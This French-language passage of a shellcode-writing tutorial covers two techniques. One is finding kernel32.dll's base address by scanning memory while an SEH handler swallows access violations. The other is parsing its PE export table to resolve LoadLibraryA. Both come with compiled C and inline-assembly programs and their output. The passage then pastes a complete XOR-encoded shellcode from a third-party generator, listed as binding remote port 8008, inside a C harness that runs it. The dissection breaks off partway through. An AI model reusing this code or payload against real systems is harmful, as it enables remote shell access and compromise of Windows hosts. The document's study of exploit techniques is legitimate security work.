pour connaitre si l'adresse contenant le pattern voulu est bien l'image de base de kernel32.dll,
il nous suffira de la comparer avec toutes les adresses du tableau ci dessus.

voici un algo pour clarifier mon explication

--- Definition du Tableau ImageBase ---
---------------------------------------
0x77E00000 * EBP
0x77E80000 * EBP-4
0x77E70000 * EBP-8
0x77ED0000 * EBP-12
0x77F00000 * EBP-16
0xBFF70000 * EBP-20
0x77E60000 * EBP-24
0xBFF60000 * EBP-28
---------------------------------------
[adresse] -> initialisation a 0xBFF00000

boucle :
_____________________________________________________________________________
|| vérification au dword pointer par [adresse] si il y a le pattern 'MZ' ||
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
|
|--> si pattern introuvable --> [adresse] = [adresse] - 0x1000
|				aller sur boucle
|
|--> si pattern trouver	------> comparer [adresse] avec toutes les adresses 
du tableau [ImageBase]
				|-> si [adresse] est dans [ImageBase] aller sur kernelFound
				|-> si [adresse] n'est pas dans [ImageBase] aller sur boucle


kernelFound :
-> afficher la valeur de l'adresse contenant le pattern

-

tout cela marche très bien en théorie, mais dans la pratique ?

N'oubliez pas que nous sommes dans un environnement ou la Virtual Memory est protégée, et un
processus qui s'amuse à aller lire un peu partout dans la mémoire se verra très vite faire
l'objet d'une erreur de violation d'accès ! (0xC0000005)

alors comment faire pour éviter que notre programme ne soit tué par une erreur d'exception ?

Il va falloir descendre encore d'un cran, en manipulant la SEH (Structure Exception Handler)
dont les prototypes sont définis dans l'en-tête EXCPT.H

pour ceux qui débarqueraient dans le monde fabuleux du Win32 Low Level, la SEH est une structure
definie pour chaque processus à fs:[0] définissant comment réagir en cas d'erreur d'exception.

il nous suffira de la formater de facon à ce que windows jump sur notre portion de code lors
d'une erreur, et celle ci s'occupera de tout remettre en place, puis de passer à la suite
du scan. Ni vue, ni connue :)

voici concrètement comment mettre ca en place

======================================= generic0.c ==============================================

/*
* Retrouve l'ImageBase de kernel32.dll
*/

#include 

void main () {

	int addr;
__asm

{
jmp start

// cette fonction intercepte une erreur d'exeption (genre 0xC0000005 
Violation d'acces)
keutoom :
	add esp, 936	// on remet le stack pointeur en position initial
	pop edx		// recupere l'adressse memoire ayant causé l'exeption
	pop ebx		// recupere la SEH original
	pop ebp
	pop ebp		// recupere le pointeur de base
	mov fs:[0], ebx	// @SEH_RemoveFrame
	jmp go
start :

mov dx,0xBFFF	// on commence le scan a l'adresse la plus haute
shl edx, 16	// on rol pour eviter les null bytes


// formatage du tableau d'adresse de base sur le stack
// on travail en word pour eviter les null bytes

mov ebp, esp
push 0x77E0  // - NT/W2k
push 0x77E8  // - NT/W2k
push 0x77E7  // - NT/W2k
push 0x77ED  // - NT/W2k
push 0x77F0  // - NT/W2k
push 0xBFF7  // - 95/98
push 0x77E6  // - XP home
push 0xBFF6  // - Me

go :	// un detail de la macro @SEH_SetupFrame 

	push ebp		// sauvegarde le pointeur de base (reference pour ImageBase)
	push offset keutoom	// Adresse de la fonction appeller en cas d'exeption
	push FS:[0]		// sauvegarde l'adresse du SEH original
	mov FS:[0],ESP		// Install notre EXCEPTION_REGISTRATION

boucle:	sub edx, 10000h		// scan sur 10 pages (oui, je sais, null bytes, 
mais c'est un code de demo)

	push edx			// sauvegarde l'adresse courante en cas de violation d'acces
	cmp word ptr[edx], 0x5a4d	// comparaison au pattern 'MZ'
	pop edx				// restore l'adresse
	jne boucle			// if (pattern != 'MZ') goto boucle

	mov ecx, 8			// 8 Adresses de bases a comparer
	mov edi, ebp			// récupère ebp pour manipulation

Kernel_search :
	mov ebx, edx			// récupère l'adresse pour un rol (anti null byte)
	shr ebx,16			// décalage de 16 bits (2 octets)
	sub edi,4			// pointe sur la première adresse du tableau de comparaison

	cmp bx, word ptr [edi]		// compare
	je end				// si egal, ok, c'est la bonne adresse

	loop Kernel_search		// do { goto Kernel_search } while (ecx)
	jmp boucle			// recommence le scan de pattern si pas bon
end :
	mov [addr],edx
	}

	printf ("Adresse de kernel32.dll = 0x%x/n",addr);
	exit (0);
}
========================================== EOF 
===============================================

E:/code/SP>ver

Microsoft Windows 2000 [Version 5.00.2195]

E:/code/SP>cl generic0.c
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 12.00.8168 for 80x86
Copyright (C) Microsoft Corp 1984-1998. All rights reserved.

generic0.c
Microsoft (R) Incremental Linker Version 6.00.8168
Copyright (C) Microsoft Corp 1992-1998. All rights reserved.

/out:generic0.exe
generic0.obj

E:/code/SP>generic0
Adresse de kernel32.dll = 0x77e70000

E:/code/SP>

-

Très bien !

Maintenant que nous avons réussi à recuperer l'adresse de base, étudions comment récupérer
les adresses des fonctions exportées.

notre démarche va tout simplement consister à aller se balader dans le PE (Portable Executable)
de kernel32.dll à la recherche de ces precieuses informations.

Si vous n'êtes pas au point sur le PE, les tableaux ci dessous on été tirés du texte
suivant : http://www.devhell.org/~rix/me/texts/windows.txt

N'hésitez pas à aller le consulter pour plus de details.


---- Copy/Past -----

Header MZ:

OFFSET BYTES     CONTENU
+------+-----+----------------------------------------------------------------
| +00  |  2  | signature 'MZ'= 4Dh 5Ah
+------+-----+----------------------------------------------------------------
| +02  |  2  | nombre bytes dernière page du fichier (1 page=512 bytes)
+------+-----+----------------------------------------------------------------
| +04  |  2  | nombre pages du fichier
+------+-----+----------------------------------------------------------------
| +06  |  2  | nombre de relocations DOS
+------+-----+----------------------------------------------------------------
| +08  |  2  | taille du header en paragraphes (1 paragraphe=16 bytes)
+------+-----+----------------------------------------------------------------
| +0A  |  2  | nombre minimum de paragraphes à ajouter en fin de mémoire
+------+-----+----------------------------------------------------------------
| +0C  |  2  | nombre maximum de paragraphes à ajouter en fin de mémoire
+------+-----+----------------------------------------------------------------
| +0E  |  2  | SS (nécessite une relocation DOS)
+------+-----+----------------------------------------------------------------
| +10  |  2  | SP
+------+-----+----------------------------------------------------------------
| +12  |  2  | checksum
+------+-----+----------------------------------------------------------------
| +14  |  2  | IP
+------+-----+----------------------------------------------------------------
| +16  |  2  | CS (nécessite une relocation DOS)
+------+-----+----------------------------------------------------------------
| +18  |  2  | offset table des relocations (40h => fichier PE)
+------+-----+----------------------------------------------------------------
| +1A  |  2  | numéro d'overlay
+------+-----+----------------------------------------------------------------
| +1C  |  4  | RESERVE
+------+-----+----------------------------------------------------------------
| +20  |  2  | RESERVE
+------+-----+----------------------------------------------------------------
| +22  | 26  | RESERVE
+------+-----+----------------------------------------------------------------
| +3C  |  4  | offset du nouveau header PE ou 0
+------+-----+----------------------------------------------------------------


Header PE:
+------+-----+----------------------------------------------------------------
| +00  |  4  | signature 'PE..' (= 50h 45h 00h 00h)
+------+-----+----------------------------------------------------------------
| +04  |  2  | CPU requis: 0=inconnu,14Ch=386,14Dh=486,14Eh=pentium,...
+------+-----+----------------------------------------------------------------
| +06  |  2  | nombre de sections
+------+-----+----------------------------------------------------------------
| +08  |  4  | date et heure
+------+-----+----------------------------------------------------------------
| +0C  |  4  | offset d'une table des symboles (pour debuggers) ou 0
+------+-----+----------------------------------------------------------------
| +10  |  4  | nombre de symboles (pour debuggers)
+------+-----+----------------------------------------------------------------
| +14  |  2  | taille du header optionnel (habituellement 0Eh)
+------+-----+----------------------------------------------------------------
| +16  |  2  | flags selon chaque bit:
|      |     | bit  0: pas d'information de relocation
|      |     | bit  1: 1=exécutable,0=objet/librairie
|      |     | bit  2: RESERVE objet/librairie
|      |     | bit  3: RESERVE objet/librairie
|      |     | bit  4: 1=besoin de RAM
|      |     | bit  8: 1=nécessite 32 bits
|      |     | bit  9: 1=pas d'information de debugging
|      |     | bit 10: 1=ne pas exécuter d'une disquette ou disque amovible
|      |     | bit 11: 1=ne pas exécuter d'un réseau
|      |     | bit 12: 1=fichier système
|      |     | bit 13: 1=DLL
|      |     | bit 14: 1=nécessite uniquement un CPU
+------+-----+----------------------------------------------------------------
| +18  |  2  | signature 0Bh 01h
+------+-----+----------------------------------------------------------------
| +1A  |  1  | version majeure du Linker ou 0
+------+-----+----------------------------------------------------------------
| +1B  |  1  | version mineure du Linker ou 0
+------+-----+----------------------------------------------------------------
| +1C  |  4  | taille du code (.code) +++
+------+-----+----------------------------------------------------------------
| +20  |  4  | taille des données initialisées (.data,.rdata)
+------+-----+----------------------------------------------------------------
| +24  |  4  | taille des données non initialisées (.bss)
+------+-----+----------------------------------------------------------------
| +28  |  4  | EIP initial
+------+-----+----------------------------------------------------------------
| +2C  |  4  | adresse de base du code dans la mémoire du process
+------+-----+----------------------------------------------------------------
| +30  |  4  | adresse de base des données dans la mémoire du process
+------+-----+----------------------------------------------------------------
| +34  |  4  | adresse de base de l'image dans la mémoire du process
|      |     | (habituellement 00400000h). Si Windows peut charger le
|      |     | programme à cette adresse (habituellement), il n'y aura pas de
|      |     | relocation.
+------+-----+----------------------------------------------------------------
| +38  |  4  | alignement de l'objet
+------+-----+----------------------------------------------------------------
| +3C  |  4  | alignement du fichier (souvent 1000h=4096d)
+------+-----+----------------------------------------------------------------
| +40  |  2  | version majeure de l'OS requise (habituellement 4) ou 0
+------+-----+----------------------------------------------------------------
| +42  |  2  | version mineure de l'OS requise (habituellement 0) ou 0
+------+-----+----------------------------------------------------------------
| +44  |  2  | version majeure du programme ou 0
+------+-----+----------------------------------------------------------------
| +46  |  2  | version mineure du programme ou 0
+------+-----+----------------------------------------------------------------
| +48  |  2  | version majeure du Subsystem requise (habituellement 4)
+------+-----+----------------------------------------------------------------
| +4A  |  2  | version mineure du Subsystem requise (habituellement 0)
+------+-----+----------------------------------------------------------------
| +4C  |  2  | version majeure de Win32 requise ou 0
+------+-----+----------------------------------------------------------------
| +4E  |  2  | version mineure du Win32 requise ou 0
+------+-----+----------------------------------------------------------------
| +50  |  4  | taille du programme (somme des sections)
+------+-----+----------------------------------------------------------------
| +54  |  4  | taille de tout les headers
+------+-----+----------------------------------------------------------------
| +58  |  4  | checksum (si driver NT) ou 0
+------+-----+----------------------------------------------------------------
| +5C  |  2  | Subsystem requis: 1=driver,2=GUI (pas de console),
|      |     |  3=CUI (console),5=OS/2,7=POSIX
+------+-----+----------------------------------------------------------------
| +5E  |  2  | flags DLL selon chaque bit:
|      |     | bit  0: 1=notification process attachments
|      |     | bit  1: 1=notification thread detachments
|      |     | bit  2: 1=notification thread attachments
|      |     | bit  3: 1=notification process detachments
+------+-----+----------------------------------------------------------------
| +60  |  4  | taille reserved stack
+------+-----+----------------------------------------------------------------
| +64  |  4  | taille committed stack
+------+-----+----------------------------------------------------------------
| +68  |  4  | taille reserved heap
+------+-----+----------------------------------------------------------------
| +6C  |  4  | taille committed heap
+------+-----+----------------------------------------------------------------
| +70  |  4  | flags RESERVE
+------+-----+----------------------------------------------------------------
| +74  |  4  | nombre de blocs RVA-tailles (blocs de 8 bytes ci-dessous)
+------+-----+----------------------------------------------------------------
| +78  |  4  | RVA Export Table
+------+-----+----------------------------------------------------------------
| +7C  |  4  | taille Export Table
+------+-----+----------------------------------------------------------------
| +80  |  4  | RVA Import Table
+------+-----+----------------------------------------------------------------
| +84  |  4  | taille Import Table
+------+-----+----------------------------------------------------------------
| +88  |  4  | RVA Ressources
+------+-----+----------------------------------------------------------------
| +8C  |  4  | taille Ressources
+------+-----+----------------------------------------------------------------
| +90  |  4  | RVA Exceptions
+------+-----+----------------------------------------------------------------
| +94  |  4  | taille Exceptions
+------+-----+----------------------------------------------------------------
| +98  |  4  | RVA Sécurité
+------+-----+----------------------------------------------------------------
| +9C  |  4  | taille Sécurité
+------+-----+----------------------------------------------------------------
| +A0  |  4  | RVA Base Relocation Table
+------+-----+----------------------------------------------------------------
| +A4  |  4  | taille Base Relocation Table
+------+-----+----------------------------------------------------------------
| +A8  |  4  | RVA Debug
+------+-----+----------------------------------------------------------------
| +AC  |  4  | taille Debug
+------+-----+----------------------------------------------------------------
| +B0  |  4  | RVA Image Description
+------+-----+----------------------------------------------------------------
| +B4  |  4  | taille Image Description
+------+-----+----------------------------------------------------------------
| +B8  |  4  | RVA Machine Spécifique
+------+-----+----------------------------------------------------------------
| +BC  |  4  | taille Machine Spécifique
+------+-----+----------------------------------------------------------------
| +C0  |  4  | RVA Thread Local Storage
+------+-----+----------------------------------------------------------------
| +C4  |  4  | taille Thread Local Storage
+------+-----+----------------------------------------------------------------


Header Export Directory:
+------+-----+----------------------------------------------------------------
| +00  |  4  | caractéristiques
+------+-----+----------------------------------------------------------------
| +04  |  4  | date et heure
+------+-----+----------------------------------------------------------------
| +08  |  2  | version majeure
+------+-----+----------------------------------------------------------------
| +0A  |  2  | version mineure
+------+-----+----------------------------------------------------------------
| +0C  |  4  | offset dans le fichier du nom d'exportation (nom de la DLL)
+------+-----+----------------------------------------------------------------
| +10  |  4  | base
+------+-----+----------------------------------------------------------------
| +14  |  4  | nombre de fonctions (<> nombre réel d'exportations)
+------+-----+----------------------------------------------------------------
| +18  |  4  | nombre de noms (=nombre réel d'exportations)
+------+-----+----------------------------------------------------------------
| +1C  |  4  | offset dans le fichier des adresses des fonctions (4 bytes)
+------+-----+----------------------------------------------------------------
| +20  |  4  | offset dans le fichier des noms de fonctions (séparés par 00h)
+------+-----+----------------------------------------------------------------
| +24  |  4  | offset dans le fichier des ordinaux des fonctions (2 bytes)
+------+-----+----------------------------------------------------------------

---- end ----

ok, tout ceci vas vous permettre de mieux suivre la démarche.

Notre adresse de base (0x77e70000) ce situe au niveau du HEADER MZ (rappel : 'MZ' = pattern)

nous allons donc rajouter 0x3c afin de connaitre l'offset du nouveau 'header PE', puis nous
rajouterons 0x78 a cet offset pour avoir la 'RVA Export Table', qui pointe sur le
'Header Export Directory'

jusque la, pas de souci.

à partir de maintenant, nous somme en mesure de retrouver l'adresse d'une fonction exportée,
en procédant de la manière suivante :

-> connaitre le nombre de nom de fonction exporter à +18
-> utiliser ce nombre pour faire une recherche du nom de fonction souhaité au pointeur
   indiquer par +20
-> utiliser l'indice obtenu pour connaitre l'ordinal de la fonction, placer dans le tableau
   sur +24
-> extraire l'adresse de la fonction en pointant sur le tableau d'adresses defini par +1C
   et en utilisant l'ordinal extrait précédement comment indice.

l'explication peut parraitre un peut confuse, voici donc ce que cela donne dans la pratique,
sachant que ce code est un 'proof of concept' permettant de retrouver l'adresse exporter de
LoadLibraryA()

====================================== generic1.c ============================================

/*
* Retrouve l'adresse d'une fonction exporté a partir d'une ImageBase de 
Kernel32.dll
* spécifié en argument
*/

#include 

void main (int argc, char *argv[])
{
	int addr, ImageBase;
	char *apiname="LoadLibraryA", *p;

	if (!argv[1])
	{
		printf ("usage : %s /n/n"
				"Exemple : %s 0x77e70000/n",argv[0], argv[0]);
		exit (0);
	}

	ImageBase = strtol (argv[1], &p, 16);

__asm {

	mov eax, ImageBase

	mov  ebx, dword ptr [eax+0x3c]  // ebx = IMAGE_DOS_HEADER->e_lfanew
	add  ebx, eax                   // ebx = PIMAGE_NT_HEADERS
	mov  ebx, dword ptr [ebx+0x78]  // ebx = IMAGE_NT_HEADERS->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]->VirtualAddress
	add  ebx, eax                   // ebx = PIMAGE_EXPORT_DIRECTORY
	mov  esi, dword ptr [ebx+0x1C]
	add  esi, eax                   // esi = base + expdir->AddressOfFunctions
	push esi                        // # functions[]
   	mov  esi, dword ptr [ebx+0x24]
	add  esi, eax                   // esi = base + PIMAGE_EXPORT_DIRECTORY->AddressOfNameOrdinals
	push esi                        // # functions[] # ordinals[]
	mov  edx, dword ptr [ebx+0x20]
	add  edx, eax                   // edx = base + expdir->AddressOfNames
	mov  ebx, dword ptr [ebx+0x18]  // i = PIMAGE_EXPORT_DIRECTORY->NumberOfNames
	dec  ebx                        // i--

search_func:
	push 12
	pop  ecx                        // ecx = strlen ("LoadLibraryA")
	mov  esi, dword ptr [edx+4*ebx]
	add  esi, eax                   // esi = names[i]

	mov edi, apiname
	cld                             // indique que esi et edi seront 
incrementés
	repe cmpsb
	je   get_func_address;          // if (memcmp(names[i], apiname, 12) == 0)

	dec  ebx                        // ebx--
	and  ebx, ebx
	jnz  search_func                // if (ecx != 0)

int 3					// APINAME introuvable

get_func_address:
	pop  edi                        // edi = ordinals[]
                                   	// # functions[]
	xor  ecx, ecx
	mov  cx,  word ptr [edi+2*ebx]  // bx = ordinals[i]
	pop  edi                        // edi = functions[]
	                                // #
	mov  edi, dword ptr [edi+4*ecx] // edi = functions[ordinals[i]]
//	add  edi, eax                   // edi = base + functions[ordinals[i]]
//	mov  eax, edi                   // eax = func_address
lea eax, [edi+eax]


	mov [addr], eax
}
printf ("adresse de LoadLibraryA : 0x%x/n",addr);

}
========================================== EOF 
===============================================

E:/code/SP>cl generic1.c
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 12.00.8168 for 80x86
Copyright (C) Microsoft Corp 1984-1998. All rights reserved.

generic1.c
Microsoft (R) Incremental Linker Version 6.00.8168
Copyright (C) Microsoft Corp 1992-1998. All rights reserved.

/out:generic1.exe
generic1.obj

E:/code/SP>generic1
usage : generic1 

Exemple : generic1 0x77e70000

E:/code/SP>generic1 0x77e70000
adresse de LoadLibraryA : 0x77e7a254

E:/code/SP>

-

voila, une fois arrivé à ce point, la conception devient équivalente à celle d'un shellcode
statique.

l'avantage de cette technique est de pouvoir procéder à une attaque sans ce soucier de l'OS
ou du service pack utilisé par la cible, mais les plus assidus remarquerons que la taille
d'un tel shellcode laisse quand même à désirer...



/*************************************************************************************
III. ETUDE DE QUELQUES SOLUTIONS APPORTEES PAR LA COMMUNAUTE " UNDERGROUND 
MONDIAL "
*************************************************************************************/

Nous allons maintenant étudier quelques shellcodes utilisant une technique un peu
différente de tout ce qui a été expliqué en amont.


///
ETUDE DU SHELLCODE STATIQUE DE |ZAN.
///

Si vous êtes un développeur d'exploit un peu feignant, il vous est surement arrivé
de vouloir trouver un shellcode asser facile à générer/implémenter dans votre code.

Heureusement, beaucoup d'outils sont accessibles sur internet, dont notamment le
générateur de shellcode statique offert par deepzone à l'adresse suivante :
http://www.deepzone.org/olservices/xploitit/

voici notre étude à ce sujet :

Ce shellcode est un shellcode statique qui ce base sur les adresses situées dans l'
'Importe Table' du programme à exploiter.

le code source complet n'ayant pas été divulgé / commenté, nous avons du reverser celui si
pour mieux comprendre son approche.

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Disassembly of File: deepzone.exe
Code Offset = 00001000, Code Size = 00003000
Data Offset = 00005000, Data Size = 00001000
+++++++++++++++++++ ASSEMBLY CODE LISTING ++++++++++++++++++

//********************** Start of Code in Object .text **************
Program Entry Point = 00401032 (deepzone.exe File Offset:00005032)
[...]

* Reference To: KERNEL32.LoadLibraryA, Ord:01C2h
                                  |
:00402EF0 FF1574404000            Call dword ptr [00404074] <- IT adresse de LoadLibraryA

* Reference To: KERNEL32.GetProcAddress, Ord:013Eh
                                  |
:00402EFC 8B3570404000            mov esi, dword ptr [00404070] <- IT adresse de GetProcAddress
[...]
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


-- portable NT/2k/XP ShellCode features ...

LoadLibraryA   IT address     00404074h
GetProcAddress IT address     00404070h
XOR byte                      99h
Remote port                   8008
Style                         C


---------------------------


======================================= deepzone.c ===========================================
#include 

void main () {

char DeepZone_w32ShellCode [] =

"/xcc" // on applique un hardcoded break point pour l'etude du shellcode

"/x68/x5e/x56/xc3/x90/x54/x59/xff/xd1/x58/x33/xc9/xb1/x1c"
"/x90/x90/x90/x90/x03/xf1/x56/x5f/x33/xc9/x66/xb9/x95/x04"
"/x90/x90/x90/xac/x34/x99/xaa/xe2/xfa/x71/x99/x99/x99/x99"
"/xc4/x18/x74/x40/xb8/xd9/x99/x14/x2c/x6b/xbd/xd9/x99/x14"
"/x24/x63/xbd/xd9/x99/xf3/x9e/x09/x09/x09/x09/xc0/x71/x4b"
"/x9b/x99/x99/x14/x2c/xb3/xbc/xd9/x99/x14/x24/xaa/xbc/xd9"
"/x99/xf3/x93/x09/x09/x09/x09/xc0/x71/x23/x9b/x99/x99/xf3"
"/x99/x14/x2c/x40/xbc/xd9/x99/xcf/x14/x2c/x7c/xbc/xd9/x99"
"/xcf/x14/x2c/x70/xbc/xd9/x99/xcf/x66/x0c/xaa/xbc/xd9/x99"
"/xf3/x99/x14/x2c/x40/xbc/xd9/x99/xcf/x14/x2c/x74/xbc/xd9"
"/x99/xcf/x14/x2c/x68/xbc/xd9/x99/xcf/x66/x0c/xaa/xbc/xd9"
"/x99/x5e/x1c/x6c/xbc/xd9/x99/xdd/x99/x99/x99/x14/x2c/x6c"
"/xbc/xd9/x99/xcf/x66/x0c/xae/xbc/xd9/x99/x14/x2c/xb4/xbf"
"/xd9/x99/x34/xc9/x66/x0c/xca/xbc/xd9/x99/x14/x2c/xa8/xbf"
"/xd9/x99/x34/xc9/x66/x0c/xca/xbc/xd9/x99/x14/x2c/x68/xbc"
"/xd9/x99/x14/x24/xb4/xbf/xd9/x99/x3c/x14/x2c/x7c/xbc/xd9"
"/x99/x34/x14/x24/xa8/xbf/xd9/x99/x32/x14/x24/xac/xbf/xd9"
"/x99/x32/x5e/x1c/xbc/xbf/xd9/x99/x99/x99/x99/x99/x5e/x1c"
"/xb8/xbf/xd9/x99/x98/x98/x99/x99/x14/x2c/xa0/xbf/xd9/x99"
"/xcf/x14/x2c/x6c/xbc/xd9/x99/xcf/xf3/x99/xf3/x99/xf3/x89"
"/xf3/x98/xf3/x99/xf3/x99/x14/x2c/xd0/xbf/xd9/x99/xcf/xf3"
"/x99/x66/x0c/xa2/xbc/xd9/x99/xf1/x99/xb9/x99/x99/x09/xf1"
"/x99/x9b/x99/x99/x66/x0c/xda/xbc/xd9/x99/x10/x1c/xc8/xbf"
"/xd9/x99/xaa/x59/xc9/xd9/xc9/xd9/xc9/x66/x0c/x63/xbd/xd9"
"/x99/xc9/xc2/xf3/x89/x14/x2c/x50/xbc/xd9/x99/xcf/xca/x66"
"/x0c/x67/xbd/xd9/x99/xf3/x9a/xca/x66/x0c/x9b/xbc/xd9/x99"
"/x14/x2c/xcc/xbf/xd9/x99/xcf/x14/x2c/x50/xbc/xd9/x99/xcf"
"/xca/x66/x0c/x9f/xbc/xd9/x99/x14/x24/xc0/xbf/xd9/x99/x32"
"/xaa/x59/xc9/x14/x24/xfc/xbf/xd9/x99/xce/xc9/xc9/xc9/x14"
"/x2c/x70/xbc/xd9/x99/x34/xc9/x66/x0c/xa6/xbc/xd9/x99/xf3"
"/xa9/x66/x0c/xd6/xbc/xd9/x99/x72/xd4/x09/x09/x09/xaa/x59"
"/xc9/x14/x24/xfc/xbf/xd9/x99/xce/xc9/xc9/xc9/x14/x2c/x70"
"/xbc/xd9/x99/x34/xc9/x66/x0c/xa6/xbc/xd9/x99/xf3/xc9/x66"
"/x0c/xd6/xbc/xd9/x99/x1a/x24/xfc/xbf/xd9/x99/x9b/x96/x1b"
"/x8e/x98/x99/x99/x18/x24/xfc/xbf/xd9/x99/x98/xb9/x99/x99"
"/xeb/x97/x09/x09/x09/x09/x5e/x1c/xfc/xbf/xd9/x99/x99/xb9"
"/x99/x99/xf3/x99/x12/x1c/xfc/xbf/xd9/x99/x14/x24/xfc/xbf"
"/xd9/x99/xce/xc9/x12/x1c/xc8/xbf/xd9/x99/xc9/x14/x2c/x70"
"/xbc/xd9/x99/x34/xc9/x66/x0c/xde/xbc/xd9/x99/xf3/xc9/x66"
"/x0c/xd6/xbc/xd9/x99/x12/x1c/xfc/xbf/xd9/x99/xf3/x99/xc9"
"/x14/x2c/xc8/xbf/xd9/x99/x34/xc9/x14/x2c/xc0/xbf/xd9/x99"
"/x34/xc9/x66/x0c/x93/xbc/xd9/x99/xf3/x99/x14/x24/xfc/xbf"
"/xd9/x99/xce/xf3/x99/xf3/x99/xf3/x99/x14/x2c/x70/xbc/xd9"
"/x99/x34/xc9/x66/x0c/xa6/xbc/xd9/x99/xf3/xc9/x66/x0c/xd6"
"/xbc/xd9/x99/xaa/x50/xa0/x14/xfc/xbf/xd9/x99/x96/x1e/xfe"
"/x66/x66/x66/xf3/x99/xf1/x99/xb9/x99/x99/x09/x14/x2c/xc8"
"/xbf/xd9/x99/x34/xc9/x14/x2c/xc0/xbf/xd9/x99/x34/xc9/x66"
"/x0c/x97/xbc/xd9/x99/x10/x1c/xf8/xbf/xd9/x99/xf3/x99/x14"
"/x24/xfc/xbf/xd9/x99/xce/xc9/x14/x2c/xc8/xbf/xd9/x99/x34"
"/xc9/x14/x2c/x74/xbc/xd9/x99/x34/xc9/x66/x0c/xd2/xbc/xd9"
"/x99/xf3/xc9/x66/x0c/xd6/xbc/xd9/x99/xf3/x99/x12/x1c/xf8"
"/xbf/xd9/x99/x14/x24/xfc/xbf/xd9/x99/xce/xc9/x12/x1c/xc8"
"/xbf/xd9/x99/xc9/x14/x2c/x70/xbc/xd9/x99/x34/xc9/x66/x0c"
"/xde/xbc/xd9/x99/xf3/xc9/x66/x0c/xd6/xbc/xd9/x99/x70/x20"
"/x67/x66/x66/x14/x2c/xc0/xbf/xd9/x99/x34/xc9/x66/x0c/x8b"
"/xbc/xd9/x99/x14/x2c/xc4/xbf/xd9/x99/x34/xc9/x66/x0c/x8b"
"/xbc/xd9/x99/xf3/x99/x66/x0c/xce/xbc/xd9/x99/xc8/xcf/xf1"
"/xcd/x3b/x7e/xee/x09/xc3/x66/x8b/xc9/xc2/xc0/xce/xc7/xc8"
"/xcf/xca/xf1/x58/x03/x7e/xee/x09/xc3/x66/x8b/xc9/x35/x1d"
"/x59/xec/x62/xc1/x32/xc0/x7b/x70/x5a/xce/xca/xd6/xda/xd2"
"/xaa/xab/x99/xea/xf6/xfa/xf2/xfc/xed/x99/xfb/xf0/xf7/xfd"
"/x99/xf5/xf0/xea/xed/xfc/xf7/x99/xf8/xfa/xfa/xfc/xe9/xed"
"/x99/xea/xfc/xf7/xfd/x99/xeb/xfc/xfa/xef/x99/xfa/xf5/xf6"
"/xea/xfc/xea/xf6/xfa/xf2/xfc/xed/x99/xd2/xdc/xcb/xd7/xdc"
"/xd5/xaa/xab/x99/xda/xeb/xfc/xf8/xed/xfc/xc9/xf0/xe9/xfc"
"/x99/xde/xfc/xed/xca/xed/xf8/xeb/xed/xec/xe9/xd0/xf7/xff"
"/xf6/xd8/x99/xda/xeb/xfc/xf8/xed/xfc/xc9/xeb/xf6/xfa/xfc"
"/xea/xea/xd8/x99/xc9/xfc/xfc/xf2/xd7/xf8/xf4/xfc/xfd/xc9"
"/xf0/xe9/xfc/x99/xde/xf5/xf6/xfb/xf8/xf5/xd8/xf5/xf5/xf6"
"/xfa/x99/xcb/xfc/xf8/xfd/xdf/xf0/xf5/xfc/x99/xce/xeb/xf0"
"/xed/xfc/xdf/xf0/xf5/xfc/x99/xca/xf5/xfc/xfc/xe9/x99/xda"
"/xf5/xf6/xea/xfc/xd1/xf8/xf7/xfd/xf5/xfc/x99/xdc/xe1/xf0"
"/xed/xc9/xeb/xf6/xfa/xfc/xea/xea/x99/xda/xf6/xfd/xfc/xfd"
"/xb9/xfb/xe0/xb9/xe5/xc3/xf8/xf7/xb9/xa5/xf0/xe3/xf8/xf7"
"/xd9/xfd/xfc/xfc/xe9/xe3/xf6/xf7/xfc/xb7/xf6/xeb/xfe/xa7"
"/x9b/x99/x86/xd1/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99"
"/x99/x99/x95/x99/x99/x99/x99/x99/x99/x99/x98/x99/x99/x99"
"/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99"
"/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99"
"/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99"
"/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99"
"/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99"
"/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99"
"/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99"
"/x99/x99/xda/xd4/xdd/xb7/xdc/xc1/xdc/x99/x99/x99/x99/x99"
"/x89/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99"
"/x99/x99/x99/x99/x99/x99/x90/x90/x90/x90/x90/x90/x90/x90";

void (*shellcode) () = (void *) DeepZone_w32ShellCode;
shellcode ();

}
============================================= EOF =============================================

passons à la dissection :)

E:/code/SP>cl deepzone.c
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 12.00.8168 for 80x86
Copyright (C) Microsoft Corp 1984-1998. All rights reserved.

deepzone.c
Microsoft (R) Incremental Linker Version 6.00.8168
Copyright (C) Microsoft Corp 1992-1998. All rights reserved.

/out:deepzone.exe
deepzone.obj

E:/code/SP>deepzone
Module Load: E:/CODE/SP/deepzone.exe  (symbol loading deferred)
Thread Create:  Process=0, Thread=0
Module Load: C:/WINNT/SYSTEM32/ntdll.dll  (symbol loading deferred)
Module Load: C:/WINNT/SYSTEM32/kernel32.dll  (symbol loading deferred)
Module Load: C:/WINNT/SYSTEM32/ntdll.dll  (could not open symbol file)
Module Load: E:/CODE/SP/deepzone.exe  (no symbols loaded)
Thread Create:  Process=0, Thread=1
Hard coded breakpoint hit
>

0012FAB8 CC               int         3		// hard coded break point

// cette technique permet de retrouver l'offset de la partie du shellcode
// qui est crypter

0012FAB9 685E56C390       push        90C3565Eh	// push des instructions sur le stack
/*****************************************************************
>u esp
0012FAA8  5E               pop         esi	//qui correspondent a ceci
0012FAA9  56               push        esi
0012FAAA  C3               ret
0012FAAB  90               nop
*******************************************************************/

0012FABE 54               push        esp
0012FABF 59               pop         ecx	// ecx = 0x12FAA8
